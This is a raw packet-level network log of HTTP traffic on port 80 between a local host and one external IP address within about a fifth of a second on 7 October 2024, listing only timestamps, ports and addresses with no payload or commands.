Oct 7, 2024 07:15:01.346911907 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.346951962 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.346985102 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.347018003 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.347039938 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.347095013 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.347143888 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.347177982 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.347199917 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.347234011 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.347284079 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.347299099 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.347330093 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.347362995 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.347397089 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.347423077 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.347439051 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.347455025 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.347475052 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.347496986 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.347507954 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.347523928 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.347538948 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.347558022 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.347564936 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.347580910 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.347599983 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.347616911 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.347949982 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.347975969 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.347990036 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.348001003 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.348016024 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.348031998 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.348042965 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.348056078 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.348069906 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.348083019 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.348121881 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.348217010 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.348244905 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.348261118 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.348285913 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.348412991 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.348429918 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.348449945 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.348458052 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.348473072 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.348489046 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.348602057 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.348618031 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.348634005 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.348644972 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.348670006 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.348680019 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.348696947 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.348711967 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.348726988 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.348738909 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.348754883 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.348776102 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.348783970 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.348824024 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.349091053 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.349107027 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.349123001 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.349148989 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.349215984 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.349231005 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.349261045 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.430547953 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.430622101 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.430666924 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.430706024 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.430742979 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.430764914 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.430829048 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.430885077 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.430902958 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.430957079 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.430990934 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.431015015 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.431063890 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.431113958 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.431139946 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.431174994 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.431207895 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.431236029 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.431277037 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.431288958 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.431302071 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.431324005 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.431374073 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.431454897 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.431490898 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.431516886 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.431551933 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.431572914 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.431605101 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.431653023 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.431679964 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.431713104 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.431749105 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.431770086 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.431799889 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.431833982 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.431855917 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.431905985 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.431941032 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.431983948 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.432032108 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.432070971 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.432082891 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.432111025 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.432171106 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.432207108 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.432233095 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.432264090 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.432297945 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.432322025 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.432353973 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.432391882 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.432415962 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.432450056 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.432482958 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.432502985 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.432534933 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.432569027 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.432590008 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.432622910 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.432657003 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.432694912 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.432746887 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.432780027 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.432802916 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.432835102 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.432888031 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.432909966 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.432943106 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.432979107 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.433006048 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.433037996 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.433072090 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.433092117 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.433125019 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.433156013 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.433176994 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.433229923 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.433279037 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.433294058 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.433325052 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.433360100 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.433392048 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.433413982 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.433445930 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.433479071 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.433500051 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.433532000 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.433564901 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.433584929 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.433619022 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.433654070 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.433674097 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.433726072 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.433758974 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.433779955 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.433811903 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.433861017 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.433886051 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.433919907 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.433953047 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.433989048 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.434041023 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.434122086 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.434149981 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.434185028 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.434220076 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.434243917 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.434276104 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.434319019 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.434334040 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.434385061 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.434427023 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.434432983 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.434463978 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.434498072 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.434518099 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.434551001 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.434603930 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.434638977 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.434663057 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.434695005 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.434742928 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.434770107 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.434802055 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.434835911 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.434856892 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.434890032 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.434923887 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.434943914 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.434998989 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.435034037 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.435058117 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.435089111 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.435125113 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.435153961 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.435183048 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.435218096 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.435269117 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.435300112 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.435348988 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.435373068 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.435424089 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.435458899 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.435481071 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.435511112 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.435569048 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.435584068 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.544929981 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.545011997 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.545080900 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.545116901 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.545151949 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.545187950 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.545212984 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.545265913 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.545300961 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.545321941 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.545372009 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.545407057 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.545430899 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.545463085 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.545496941 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.545531034 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.545552969 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.545586109 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.545619011 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.545655966 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.545698881 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.545732021 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.545768023 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.545792103 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.545825005 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.545857906 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.545880079 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.545932055 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.545968056 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.545989037 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.546020031 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.546066046 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.546094894 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.546128035 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.546164036 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.546185017 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.546216965 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.546253920 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.546278000 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.546328068 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.546361923 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.546384096 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.546435118 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.546469927 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.546489954 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.546523094 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.546561003 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.546585083 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.546617031 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.546652079 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.546684027 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.546705961 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.546756983 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.546791077 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.546813011 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.546844959 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.546955109 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.546976089 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.547024965 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.547060013 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.547080994 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.547132015 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.547183990 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.547208071 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.547246933 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.547278881 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.547302008 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.547333956 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.547382116 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.547461033 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.547478914 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.547513962 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.547549009 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.547569990 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.547600031 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.547640085 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.547647953 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.547678947 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.547727108 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.547740936 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.547765970 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.547784090 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.547799110 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.547811031 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.547826052 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.547837019 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.547862053 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.547878027 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.547890902 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.547907114 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.547919035 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.547935009 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.547945976 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.547960043 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.547974110 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.548001051 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.548015118 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.548031092 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.548047066 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.548058987 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.548072100 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.548094034 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.548140049 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.548155069 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.548171997 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.548182011 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.548197031 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.548208952 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.548223019 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.548238993 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.548260927 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.548269033 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.548300028 CEST	49174	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:15:01.548528910 CEST	80	49174	38.240.41.28	192.168.2.22
Oct 7, 2024 07:15:01.548544884 CEST	80	49174	38.240.41.28	192.168.2.22
